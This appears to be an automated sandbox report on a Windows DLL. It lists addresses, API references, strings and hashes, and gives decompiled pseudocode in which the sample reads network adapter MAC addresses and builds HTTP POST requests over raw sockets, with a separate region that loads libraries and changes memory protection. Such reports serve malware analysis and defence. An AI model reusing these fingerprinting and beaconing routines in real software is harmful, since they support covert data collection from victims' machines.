0x10002f6f
0x10002f79
0x10002f83
0x10002f86
0x10002f8d
0x10002f92
0x10002f9a
0x10002fa1
0x10002fa8
0x10002fb2
0x10002fb8
0x10002fbc
0x10002fc4
0x10002fcc
0x10002fce
0x10002fd3
0x10002fd6
0x10003008
0x10003015
0x1000301b
0x1000301d
0x10002fd8
0x10002fd8
0x10002fe1
0x10002fe4
0x10002feb
0x10002fed
0x10002ff4
0x10002ff9
0x10002ffc
0x10003000
0x10003000
0x10003022
0x10003032
0x1000303c
0x1000303f
0x10003045
0x1000304c
0x10003051
0x10003059
0x10003060
0x10003067
0x10003070
0x10003081
0x10003086
0x10003089
0x1000308b
0x1000308f
0x10003094
0x10003099
0x1000309c
0x100030cd
0x100030e3
0x1000309e
0x100030a1
0x100030a4
0x100030a6
0x100030a9
0x100030ab
0x100030ab
0x100030af
0x100030b8
0x100030bd
0x100030c0
0x100030c0
0x100030e5
0x100030ef
0x100030f9
0x100030fc
0x10003103
0x10003108
0x10003110
0x10003117
0x1000311e
0x10003121
0x1000312e
0x10003134
0x1000313b
0x1000313f
0x10003142
0x1000314c
0x10003154
0x1000315a
0x1000315b
0x1000315c
0x1000315e
0x1000319a
0x100031a1
0x100031a7
0x100031ae
0x10003160
0x10003160
0x1000316a
0x10003176
0x1000317d
0x10003180
0x1000318b
0x1000318e
0x10003192
0x10003192
0x100031b3
0x100031bd
0x100031c7
0x100031ca
0x100031d1
0x100031d6
0x100031de
0x100031e5
0x100031ec
0x100031f6
0x100031fc
0x10003200
0x10003208
0x10003210
0x10003212
0x10003217
0x1000321a
0x1000324c
0x10003259
0x1000325f
0x10003261
0x1000321c
0x1000321c
0x10003225
0x10003228
0x1000322f
0x10003231
0x10003238
0x1000323d
0x10003240
0x10003244
0x10003244
0x10003266
0x10003270
0x10003276
0x10003280
0x10003283
0x10003289
0x1000328f
0x10003296
0x1000329b
0x100032a3
0x100032aa
0x100032b1
0x100032b4
0x100032b8
0x100032be
0x100032c1
0x100032f2
0x100032f2
0x100032fc
0x10003306
0x1000330d
0x10003311
0x10003317
0x1000331a
0x1000334b
0x1000334b
0x10003355
0x1000335f
0x10003366
0x1000336a
0x10003370
0x10003373
0x100033a4
0x100033a4
0x100033ae
0x100033b8
0x100033bf
0x100033c3
0x100033c9
0x100033cc
0x100033fd
0x100033fd
0x10003407
0x10003411
0x10003418
0x1000341c
0x10003422
0x10003425
0x10003456
0x10003456
0x10003460
0x1000346a
0x10003471
0x10003475
0x1000347b
0x1000347e
0x100034af
0x100034af
0x100034b9
0x100034c3
0x100034ca
0x100034ce
0x100034d4
0x100034d7
0x10003508
0x10003508
0x10003512
0x1000351c
0x10003523
0x10003527
0x1000352d
0x10003530
0x10003561
0x10003561
0x1000356b
0x10003575
0x1000357c
0x10003580
0x10003586
0x10003589
0x100035b6
0x100035b6
0x100035c0
0x100035ca
0x100035d1
0x100035d5
0x100035db
0x100035de
0x100035e0
0x100035e6
0x100035e7
0x100035e9
0x100035ef
0x100035f1
0x100035f4
0x100035f9
0x100035fc
0x100035ff
0x00000000
0x00000000
0x100035ff
0x00000000
0x100035ef
0x1000358b
0x1000358b
0x10003591
0x10003592
0x10003594
0x1000359a
0x100035ac
0x100035ac
0x100035ae
0x100035b3
0x00000000
0x1000359c
0x1000359c
0x1000359f
0x100035a4
0x100035a7
0x100035aa
0x00000000
0x00000000
0x00000000
0x00000000
0x100035aa
0x1000359a
0x10003532
0x10003532
0x10003538
0x10003539
0x1000353b
0x10003541
0x10003557
0x10003557
0x10003559
0x1000355e
0x00000000
0x10003543
0x10003543
0x10003546
0x1000354b
0x1000354e
0x10003551
0x00000000
0x00000000
0x00000000
0x00000000
0x10003551
0x10003541
0x100034d9
0x100034d9
0x100034df
0x100034e0
0x100034e2
0x100034e8
0x100034fe
0x100034fe
0x10003500
0x10003505
0x00000000
0x100034ea
0x100034ea
0x100034ed
0x100034f2
0x100034f5
0x100034f8
0x00000000
0x00000000
0x00000000
0x00000000
0x100034f8
0x100034e8
0x10003480
0x10003480
0x10003486
0x10003487
0x10003489
0x1000348f
0x100034a5
0x100034a5
0x100034a7
0x100034ac
0x00000000
0x10003491
0x10003491
0x10003494
0x10003499
0x1000349c
0x1000349f
0x00000000
0x00000000
0x00000000
0x00000000
0x1000349f
0x1000348f
0x10003427
0x10003427
0x1000342d
0x1000342e
0x10003430
0x10003436
0x1000344c
0x1000344c
0x1000344e
0x10003453
0x00000000
0x10003438
0x10003438
0x1000343b
0x10003440
0x10003443
0x10003446
0x00000000
0x00000000
0x00000000
0x00000000
0x10003446
0x10003436
0x100033ce
0x100033ce
0x100033d4
0x100033d5
0x100033d7
0x100033dd
0x100033f3
0x100033f3
0x100033f5
0x100033fa
0x00000000
0x100033df
0x100033df
0x100033e2
0x100033e7
0x100033ea
0x100033ed
0x00000000
0x00000000
0x00000000
0x00000000
0x100033ed
0x100033dd
0x10003375
0x10003375
0x1000337b
0x1000337c
0x1000337e
0x10003384
0x1000339a
0x1000339a
0x1000339c
0x100033a1
0x00000000
0x10003386
0x10003386
0x10003389
0x1000338e
0x10003391
0x10003394
0x00000000
0x00000000
0x00000000
0x00000000
0x10003394
0x10003384
0x1000331c
0x1000331c
0x10003322
0x10003323
0x10003325
0x1000332b
0x10003341
0x10003341
0x10003343
0x10003348
0x00000000
0x1000332d
0x1000332d
0x10003330
0x10003335
0x10003338
0x1000333b
0x00000000
0x00000000
0x00000000
0x00000000
0x1000333b
0x1000332b
0x100032c3
0x100032c3
0x100032c9
0x100032ca
0x100032cc
0x100032d2
0x100032e8
0x100032e8
0x100032ea
0x100032ef
0x00000000
0x100032d4
0x100032d4
0x100032d7
0x100032dc
0x100032df
0x100032e2
0x10003601
0x10003601
0x10003607
0x10003607
0x10003609
0x1000360e
0x00000000
0x00000000
0x00000000
0x100032e2
0x100032d2
0x10003611
0x1000361e
0x10003624
0x1000362b
0x10003635
0x1000363f
0x10003646
0x1000364c
0x1000364e
0x1000369d
0x100036a3
0x100036a9
0x100036b0
0x100038c7
0x100038cd
0x100038cf
0x100038cf
0x100038d2
0x100038d2
0x100038d4
0x100038d5
0x100038d5
0x100038dd
0x100038e6
0x100038ec
0x100038ef
0x100039ad
0x100039b3
0x100039b6
0x00000000
0x100039bc
0x100039c7
0x100039cc
0x100039d0
0x100039d7
0x100039df
0x100039e5
0x100039e7
0x100039e9
0x00000000
0x00000000
0x100039eb
0x100039eb
0x100039f0
0x100039f7
0x10003a09
0x10003a0e
0x10003a0f
0x10003a0f
0x10003a13
0x10003a13
0x10003a1c
0x10003a22
0x10003a33
0x10003a43
0x10003a47
0x10003a59
0x10003a6f
0x10003a71
0x10003a76
0x10003a78
0x10003a7a
0x10003a7c
0x10003a86
0x10003a8a
0x10003aa1
0x10003aac
0x10003aac
0x10003a7c
0x10003abe
0x10003ad2
0x10003ad8
0x10003ae3
0x10003aee
0x10003aee
0x100038f5
0x100038f5
0x100038f6
0x100038fc
0x1000390d
0x10003912
0x10003912
0x10003915
0x10003915
0x10003921
0x1000392c
0x10003937
0x10003942
0x10003947
0x1000394c
0x1000394e
0x10003956
0x1000395a
0x1000395b
0x1000396f
0x10003974
0x1000397f
0x1000398a
0x10003992
0x1000399a
0x1000399f
0x100036b6
0x100036b6
0x100036bc
0x100036cb
0x100036d2
0x100036d9
0x100036dc
0x100036e1
0x100036ea
0x100036f0
0x100036fb
0x10003706
0x10003711
0x10003716
0x1000371b
0x1000371d
0x10003725
0x10003729
0x1000372a
0x1000373e
0x10003743
0x1000374e
0x10003759
0x10003761
0x10003769
0x00000000
0x10003769
0x10003650
0x10003650
0x10003659
0x1000365f
0x10003665
0x10003668
0x00000000
0x00000000
0x10003675
0x1000367b
0x1000367e
0x00000000
0x10003680
0x10003686
0x1000368c
0x1000368f
0x10003699
0x1000369b
0x00000000
0x00000000
0x00000000
0x00000000
0x1000369b
0x00000000
0x1000367e
0x10003773
0x10003779
0x10003788
0x1000378f
0x10003796
0x10003799
0x1000379e
0x100037a1
0x100037a5
0x100037ab
0x100037b1
0x100037b4
0x100037e5
0x100037e5
0x100037e9
0x100037ef
0x100037f9
0x10003803
0x1000380a
0x1000380d
0x10003840
0x10003840
0x10003844
0x1000384a
0x1000384d
0x1000387e
0x1000387e
0x10003882
0x10003888
0x1000388b
0x10002383
0x10002383
0x10002388
0x1000238a
0x10002392
0x10002396
0x10002397
0x1000239c
0x100023a1
0x100023a3
0x100023ab
0x100023af
0x100023b0
0x100023b5
0x100023be
0x100023ef
0x100023ef
0x100023f5
0x100023ff
0x10002409
0x10002413
0x10002444
0x10002444
0x1000244a
0x10002478
0x10002478
0x1000247b
0x10002482
0x10002489
0x10002490
0x100024be
0x100024be
0x10002492
0x10002492
0x10002495
0x10002496
0x1000249e
0x100024b4
0x100024b4
0x100024b6
0x00000000
0x100024a0
0x100024a0
0x100024a3
0x100024ae
0x00000000
0x00000000
0x00000000
0x00000000
0x100024ae
0x1000249e
0x1000244c
0x1000244c
0x1000244f
0x10002450
0x10002458
0x1000246e
0x1000246e
0x10002470
0x10002475
0x00000000
0x1000245a
0x1000245a
0x1000245d
0x10002468
0x00000000
0x00000000
0x00000000
0x00000000
0x10002468
0x10002458
0x10002415
0x10002415
0x1000241b
0x1000241c
0x10002424
0x1000243a
0x1000243a
0x1000243c
0x10002441
0x00000000
0x10002426
0x10002426
0x10002429
0x10002434
0x00000000
0x00000000
0x00000000
0x00000000
0x10002434
0x10002424
0x100023c0
0x100023c0
0x100023c6
0x100023c7
0x100023cf
0x100023e5
0x100023e5
0x100023e7
0x100023ec
0x00000000
0x100023d1
0x100023d1
0x100023d4
0x100023df
0x00000000
0x00000000
0x00000000
0x00000000
0x100023df
0x100023cf
0x10003891
0x10003891
0x10003897
0x10003897
0x1000389a
0x1000389c
0x100038a2
0x100038b8
0x100038b8
0x100038ba
0x100038bf
0x00000000
0x100038a4
0x100038a4
0x100038a7
0x100038ac
0x100038af
0x100038b2
0x00000000
0x00000000
0x00000000
0x00000000
0x100038b2
0x100038a2
0x1000384f
0x1000384f
0x10003855
0x10003856
0x10003858
0x1000385e
0x10003874
0x10003874
0x10003876
0x1000387b
0x00000000
0x10003860
0x10003860
0x10003863
0x10003868
0x1000386b
0x1000386e
0x00000000
0x00000000
0x00000000
0x00000000
0x1000386e
0x1000385e
0x1000380f
0x1000380f
0x10003815
0x10003815
0x10003818
0x1000381a
0x10003820
0x10003836
0x10003836
0x10003838
0x1000383d
0x00000000
0x10003822
0x10003822
0x10003825
0x1000382a
0x1000382d
0x10003830
0x00000000
0x00000000
0x00000000
0x00000000
0x10003830
0x10003820
0x100037b6
0x100037b6
0x100037bc
0x100037bd
0x100037bf
0x100037c5
0x100037db
0x100037db
0x100037dd
0x100037e2
0x00000000
0x100037c7
0x100037c7
0x100037ca
0x100037cf
0x100037d2
0x100037d5
0x00000000
0x00000000
0x00000000
0x00000000
0x100037d5
0x100037c5
0x100037b4
0x10001fae
0x10001fae
0x00000000
0x10001fae
0x10001fa8
0x10001f98
0x10001f8d
0x100024c0
0x100024c3
0x100024da
0x100024da
0x10002040
0x00000000

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000,98F8AC3B,?,?), ref: 10001E01
_localtime64.API-MS-WIN-CRT-TIME-L1-1-0(?), ref: 10001E1A

Part of subcall function 10006CC0: memmove.VCRUNTIME140(?,00000000,10003B99,00000001,768016E0,?,10003B99,00000000,00000001), ref: 10006CED

Part of subcall function 10006CC0: memcpy.VCRUNTIME140(00000000,00000000,10003B99,00000001,768016E0,?,10003B99,00000000,00000001), ref: 10006D9C

Part of subcall function 100019B0: memmove.VCRUNTIME140(00000010,00000010,00000000,00000001,?,?,1000A2E5,00000000,98F8AC3B,?), ref: 10001A9E

Part of subcall function 10005940: memchr.VCRUNTIME140(?,?,?,00000000,?,?,10005BA0,10005A50), ref: 100059A0
Part of subcall function 10005940: memchr.VCRUNTIME140(00000001,10005BA0,?,00000000,?,?,10005BA0,10005A50), ref: 10005A1B

memchr.VCRUNTIME140(?,0000002F,?,1000A534,00000000,?,00000018,00000014,10005BA0,10005A50,?,00000018,00000014,10005BA0,10005A50), ref: 100020AC

Part of subcall function 10006CC0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000001,768016E0,?,10003B99,00000000,00000001), ref: 10006DE9

WSAStartup.WS2_32(00000202,?), ref: 10002341
getaddrinfo.WS2_32(?,1000A53C,?,?), ref: 100025E2
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,00000018,00000014,10005A50,?,00000018,00000014,10005A50,506,00000003,1000A2E5,00000000,1000A2E5,00000000), ref: 100027DD
rand.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 1000283F
memmove.VCRUNTIME140(?,1000A544,00000001), ref: 100028A1
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000001), ref: 10002A1B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 10002B2B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 10002C0F
memmove.VCRUNTIME140(?,1000A580,00000001), ref: 10002CE6
memmove.VCRUNTIME140(00000000,?,?,00000001,00000000,1000A580,00000001), ref: 10002DB1

Part of subcall function 100079E0: memcpy.VCRUNTIME140(00000000,7FFFFFFF,?,?,?), ref: 10007AB4
Part of subcall function 100079E0: memcpy.VCRUNTIME140(?,?,?,00000000,7FFFFFFF,?,?,?), ref: 10007AC2

Part of subcall function 100079E0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?), ref: 10007B05
Part of subcall function 100079E0: memcpy.VCRUNTIME140(00000000,?,?,?,?), ref: 10007B0D
Part of subcall function 100079E0: memcpy.VCRUNTIME140(7FFFFFFF,?,?,00000000,?,?,?,?), ref: 10007B19

memmove.VCRUNTIME140(?, HTTP/1.1Host: ,00000011,?,00000000,?,?,00000001,00000000,1000A580,00000001), ref: 10002E75
memmove.VCRUNTIME140(00000000,?,?,00000011,00000000, HTTP/1.1Host: ,00000011,?,00000000,?,?,00000001,00000000,1000A580,00000001), ref: 10002F3C
memmove.VCRUNTIME140(?,Content-Length: ,00000012,?,00000000,?,?,00000011,00000000, HTTP/1.1Host: ,00000011,?,00000000,?,?,00000001), ref: 10002FF4

Part of subcall function 10007350: memmove.VCRUNTIME140(1000A544,1000A544,00000001,?,?,?,00000000,1000A544,00000001), ref: 100073E2
Part of subcall function 10007350: memcpy.VCRUNTIME140(1000A544,?,00000001,1000A544,1000A544,00000001,?,?,?,00000000,1000A544,00000001), ref: 100073EE
Part of subcall function 10007350: memcpy.VCRUNTIME140(1000A544,1000A544,1000A544,1000A544,?,00000001,1000A544,1000A544,00000001,?,?,?,00000000,1000A544,00000001), ref: 1000740A

memmove.VCRUNTIME140(00000000,,00000004,00000001), ref: 100030B8
memmove.VCRUNTIME140(00000000,?,?,00000004,00000000,,00000004,00000001), ref: 10003180
memmove.VCRUNTIME140(?,,00000004,?,00000000,?,?,00000004,00000000,,00000004,00000001), ref: 10003238
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000004,00000000,,00000004,?,00000000,?,?,00000004,00000000,,00000004,00000001), ref: 10003601
socket.WS2_32(00000011,?,?), ref: 10003659
connect.WS2_32(00000000,00000006,00000000), ref: 10003675
closesocket.WS2_32(FFFFFFFF), ref: 10003686
freeaddrinfo.WS2_32(?,00000004,00000000,,00000004,?,00000000,?,?,00000004,00000000,,00000004,00000001), ref: 100036A3
WSACleanup.WS2_32 ref: 100036B6
WSACleanup.WS2_32 ref: 10003773
send.WS2_32(000000FF,00000000,00000001,00000000), ref: 100038E6
closesocket.WS2_32(000000FF), ref: 100038F6
WSACleanup.WS2_32 ref: 100038FC
shutdown.WS2_32(000000FF,00000001), ref: 100039AD
recv.WS2_32(000000FF,?,00000200,00000000), ref: 100039DF
closesocket.WS2_32(000000FF), ref: 10003A1C
WSACleanup.WS2_32 ref: 10003A22

Strings

, xrefs: 10003A4E
500, xrefs: 10002359, 100036C6, 10003783, 10003908
506, xrefs: 10002606
KJKLO, xrefs: 10002A61
Content-Length: , xrefs: 10002FCE
), xrefs: 10003A59
POST , xrefs: 10002CA4
, xrefs: 10003A64
, xrefs: 100030B2, 100030C8, 10003212
HTTP/1.1Host: , xrefs: 10002E4F

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: memmove$_invalid_parameter_noinfo_noreturnmemcpy$Cleanup$closesocketmemchr$Startup_localtime64_time64connectfreeaddrinfogetaddrinforandrecvsendshutdownsocket
String ID: $$Content-Length: $$ HTTP/1.1Host: $)$500$506$KJKLO$POST
API String ID: 4146794545-621986983
Opcode ID: 22c9584d55913912d0e85756463628b1019fd5ca46ec90f4f5aa041f2441b740
Instruction ID: 79a9068725998f1b5339d64df5b84f6f3f4b9869c81dfcad5edd806558d6e25e
Opcode Fuzzy Hash: 22c9584d55913912d0e85756463628b1019fd5ca46ec90f4f5aa041f2441b740
Instruction Fuzzy Hash: 9703A2719002598BFB25CB28CC44B9DB7B2FF85344F5482D8E089A7296DB75ABC4CF91

Uniqueness

Uniqueness Score: -1.00%

Function 100011A0, Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 162
memoryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E100011A0(void* __ebx, long __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				long _v8;
				char _v16;
				signed int _v20;
				char _v52;
				intOrPtr _v56;
				long _v60;
				char _v76;
				char _v112;
				long _v116;
				void* _v120;
				long _v124;
				void* __ebp;
				signed int _t41;
				signed int _t42;
				void* _t46;
				void* _t49;
				void* _t50;
				void* _t51;
				void* _t52;
				intOrPtr* _t55;
				intOrPtr* _t57;
				char* _t61;
				char* _t63;
				intOrPtr _t85;
				void* _t90;
				long _t93;
				void* _t95;
				void* _t96;
				intOrPtr* _t97;
				intOrPtr* _t100;
				intOrPtr* _t101;
				signed int _t102;
				void* _t103;
				void* _t104;
				void* _t105;

				_t76 = __ebx;
				_push(0xffffffff);
				_push(E10009318);
				_push( *[fs:0x0]);
				_t104 = _t103 - 0x6c;
				_t41 =  *0x1000d004; // 0x98f8ac3b
				_t42 = _t41 ^ _t102;
				_v20 = _t42;
				_push(_t42);
				 *[fs:0x0] =  &_v16;
				_t93 = __ecx;
				_v124 = __ecx;
				_v116 = __ecx;
				_v60 = 0;
				_v56 = 0xf;
				_v76 = 0;
				E10006CC0(__ebx,  &_v76, __edx, "NONE", 4);
				_v8 = 0;
				_v116 = 0x288;
				_t46 = HeapAlloc(GetProcessHeap(), 0, 0x288);
				_v120 = _t46;
				if(_t46 == 0) {
					L20:
					asm("movups xmm0, [ebp-0x48]");
					 *(_t93 + 0x10) = 0;
					 *(_t93 + 0x14) = 0;
					asm("movups [edi], xmm0");
					asm("movq xmm0, [ebp-0x38]");
					asm("movq [edi+0x10], xmm0");
					 *[fs:0x0] = _v16;
					return E10008280(_t93, _v20 ^ _t102);
				}
				_t100 = __imp__GetAdaptersInfo;
				_t49 =  *_t100(_t46,  &_v116); // executed
				_t50 = _v120;
				if(_t49 != 0x6f) {
					L3:
					_t51 =  *_t100(_t50,  &_v116); // executed
					if(_t51 != 0) {
						L18:
						_t52 = _v120;
						if(_t52 != 0) {
							HeapFree(GetProcessHeap(), 0, _t52);
						}
						goto L20;
					}
					_t55 = _v120;
					_t101 = _t55;
					if(_t55 == 0) {
						goto L20;
					} else {
						_t90 = "%.2X\n";
						do {
							_t95 = 0;
							if( *((intOrPtr*)(_t101 + 0x190)) == 0) {
								L9:
								_t91 = _t101 + 0x1b0;
								_t57 = _t101 + 0x1b0;
								_t96 = _t57 + 1;
								do {
									_t85 =  *_t57;
									_t57 = _t57 + 1;
								} while (_t85 != 0);
								goto L11;
							}
							do {
								_t88 =  ==  ? _t90 : "%.2X-";
								E100010E0( *(_t101 + _t95 + 0x194) & 0x000000ff,  ==  ? _t90 : "%.2X-",  *(_t101 + _t95 + 0x194) & 0x000000ff);
								_t95 = _t95 + 1;
								_t104 = _t104 + 8;
								_t90 = "%.2X\n";
							} while (_t95 <  *((intOrPtr*)(_t101 + 0x190)));
							goto L9;
							L11:
							E10006CC0(_t76,  &_v76, _t91, _t91, _t57 - _t96);
							if( *((intOrPtr*)(_t101 + 0x1a4)) != 0) {
								_t61 =  &_v112;
								__imp___localtime32_s(_t61, _t101 + 0x278);
								_t97 = __imp__asctime_s;
								_t105 = _t104 + 8;
								if(_t61 == 0) {
									 *_t97( &_v52, 0x20,  &_v112);
									_t105 = _t105 + 0xc;
								}
								_t63 =  &_v112;
								__imp___localtime32_s(_t63, _t101 + 0x280);
								_t104 = _t105 + 8;
								if(_t63 == 0) {
									 *_t97( &_v52, 0x20,  &_v112);
									_t104 = _t104 + 0xc;
								}
							}
							_t101 =  *_t101;
							_t90 = "%.2X\n";
						} while (_t101 != 0);
						_t93 = _v124;
						goto L18;
					}
				}
				HeapFree(GetProcessHeap(), 0, _t50);
				_t50 = HeapAlloc(GetProcessHeap(), 0, _v116);
				_v120 = _t50;
				if(_t50 == 0) {
					goto L20;
				}
				goto L3;
			}

0x100011a0
0x100011a3
0x100011a5
0x100011b0
0x100011b1
0x100011b4
0x100011b9
0x100011bb
0x100011c0
0x100011c4
0x100011ca
0x100011cc
0x100011cf
0x100011dc
0x100011e3
0x100011ea
0x100011ee
0x100011f8
0x10001201
0x1000120f
0x10001215
0x1000121a
0x10001361
0x10001361
0x10001365
0x1000136e
0x10001375
0x10001378
0x1000137d
0x10001385
0x1000139c
0x1000139c
0x10001220
0x1000122b
0x10001230
0x10001233
0x10001262
0x10001267
0x1000126b
0x1000134a
0x1000134a
0x1000134f
0x1000135b
0x1000135b
0x00000000
0x1000134f
0x10001271
0x10001274
0x10001278
0x00000000
0x1000127e
0x1000127e
0x10001283
0x10001289
0x1000128d
0x100012bd
0x100012bd
0x100012c3
0x100012c5
0x100012c8
0x100012c8
0x100012ca
0x100012cb
0x00000000
0x100012c8
0x10001290
0x100012a1
0x100012a5
0x100012b0
0x100012b1
0x100012b4
0x100012b9
0x00000000
0x100012cf
0x100012d6
0x100012e2
0x100012eb
0x100012ef
0x100012f5
0x100012fb
0x10001300
0x1000130c
0x1000130e
0x1000130e
0x10001318
0x1000131c
0x10001322
0x10001327
0x10001333
0x10001335
0x10001335
0x10001327
0x10001338
0x1000133a
0x1000133f
0x10001347
0x00000000
0x10001347
0x10001278
0x1000123f
0x10001251
0x10001257
0x1000125c
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 10006CC0: memmove.VCRUNTIME140(?,00000000,10003B99,00000001,768016E0,?,10003B99,00000000,00000001), ref: 10006CED

GetProcessHeap.KERNEL32(00000000,00000288,NONE,00000004,98F8AC3B,?), ref: 10001208
HeapAlloc.KERNEL32(00000000), ref: 1000120F
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 1000122B
GetProcessHeap.KERNEL32(00000000,?), ref: 10001238
HeapFree.KERNEL32(00000000), ref: 1000123F
GetProcessHeap.KERNEL32(00000000,00000288), ref: 1000124A
HeapAlloc.KERNEL32(00000000), ref: 10001251
GetAdaptersInfo.IPHLPAPI(?,00000288), ref: 10001267
_printf.MSPDB140-MSVCRT ref: 100012A5
_localtime32_s.API-MS-WIN-CRT-TIME-L1-1-0(?,?,?,?), ref: 100012EF
asctime_s.API-MS-WIN-CRT-TIME-L1-1-0(?,00000020,?), ref: 1000130C
_localtime32_s.API-MS-WIN-CRT-TIME-L1-1-0(?,?), ref: 1000131C
asctime_s.API-MS-WIN-CRT-TIME-L1-1-0(?,00000020,?), ref: 10001333
GetProcessHeap.KERNEL32(00000000,?), ref: 10001354
HeapFree.KERNEL32(00000000), ref: 1000135B

Strings

Fbw, xrefs: 1000120F, 10001251
%.2X-, xrefs: 10001291, 100012A4
NONE, xrefs: 100011D4
%.2X, xrefs: 1000127E, 100012B4, 1000133A
Ut Ot, xrefs: 1000123F, 1000135B

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Heap$Process$AdaptersAllocFreeInfo_localtime32_sasctime_s$_printfmemmove
String ID: Fbw$ Ut Ot$%.2X$%.2X-$NONE
API String ID: 1572001147-231294466
Opcode ID: 3e85f1ab2400d4278d416367184ca0fe562fc1fc2e966e69190afec5502ed0dd
Instruction ID: 2aa37cd981f6498b8cf1ab622d55f680c970cab8341b2b3d9d4bf3aa31252f33
Opcode Fuzzy Hash: 3e85f1ab2400d4278d416367184ca0fe562fc1fc2e966e69190afec5502ed0dd
Instruction Fuzzy Hash: 59518171900719ABEB10DBB4CC48BEEB7F8FF49380F154629E905E7244DB75EA448B60

Uniqueness

Uniqueness Score: -1.00%

Function 031E43BB, Relevance: 3.8, APIs: 2, Instructions: 774COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a16a34b03b04a3993c66ce32afd9ca6471c069cf098100eb8cfa6a317db67035
Instruction ID: 8fe26de4cc09866271f1014426a367fe279c3cbc9e630a50ea1d40f350703b7f
Opcode Fuzzy Hash: a16a34b03b04a3993c66ce32afd9ca6471c069cf098100eb8cfa6a317db67035
Instruction Fuzzy Hash: E4728172944215DFFF04CFA0C8897AA7BB5FF48315F0885A9DD19AE199CB741460CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 031E4726, Relevance: 3.5, APIs: 2, Instructions: 520COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ce6ffc798d8660951e0b993404000b5c33085f367b08373ffa742b38eda970d
Instruction ID: 56e7a077371fcf5f127a01e34657a41b21631323584f1f4a2e86a8d54878aeb2
Opcode Fuzzy Hash: 2ce6ffc798d8660951e0b993404000b5c33085f367b08373ffa742b38eda970d
Instruction Fuzzy Hash: C432A172804225DFEF04CFA0C8897EA7BB5FF48315F0985A9DD69AE199CB741460CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 031E4822, Relevance: 3.5, APIs: 2, Instructions: 484libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 031E4A19

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b9c5434a0265911d372f7d9ae86d60696d59badcb30bfde7db7445a1e44c1c2f
Instruction ID: f5daf498550a5c6f61b466cdcce578a5fe5449284691a9261f1aeb73e94dabc4
Opcode Fuzzy Hash: b9c5434a0265911d372f7d9ae86d60696d59badcb30bfde7db7445a1e44c1c2f
Instruction Fuzzy Hash: 06228F72804225DFEF04CFA0C8897EA7BB5FF08315F0985A9DD59AE199CB741460CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 031E28A5, Relevance: 2.3, APIs: 1, Instructions: 840memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,00000000,00000002,0041B39C,?,?,?,00000000), ref: 031E303E

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 8a3e8bb8ea241eb06bef403cea37a63aa8ecc89e511074eeaaacce833b9389a8
Instruction ID: e90af5a18ba4fec468cb5de793caf6cf286169e0eae442d65f2234688fea337d
Opcode Fuzzy Hash: 8a3e8bb8ea241eb06bef403cea37a63aa8ecc89e511074eeaaacce833b9389a8
Instruction Fuzzy Hash: 4C824B72940604EFFF04DFA1C889B997BB5FF88311F08C1A9DD599E199CB781164CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 031E4BC1, Relevance: 1.8, APIs: 1, Instructions: 271libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNELBASE(00000000), ref: 031E4D03

Memory Dump Source

Source File: 00000000.00000002.870611323.00000000031E0000.00000040.00000001.sdmp, Offset: 031E0000, based on PE: true

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 8a3eba13e43ed768acc99f2e52b70a1839d4683b0891f9c8666b9a5f01994b70
Instruction ID: 1c9cc10e40306fc8c882b81048f3e30b810d0ba26b19643b55ad28bf7e3e04fb
Opcode Fuzzy Hash: 8a3eba13e43ed768acc99f2e52b70a1839d4683b0891f9c8666b9a5f01994b70
Instruction Fuzzy Hash: 3BC17F72944225DFEF04CFA0CC89BEA7BB5FF08315F0885A9ED599E199CB785050CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 10005880, Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10005880(void* __eflags) {
				void* _t3;
				void* _t4;
				void* _t5;

				E10003B10(_t3, _t4, _t5); // executed
				return 0;
			}

0x10005880
0x10005887

Memory Dump Source

Source File: 00000000.00000002.871418283.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.871391664.0000000010000000.00000002.00020000.sdmp Download File

Yara matches

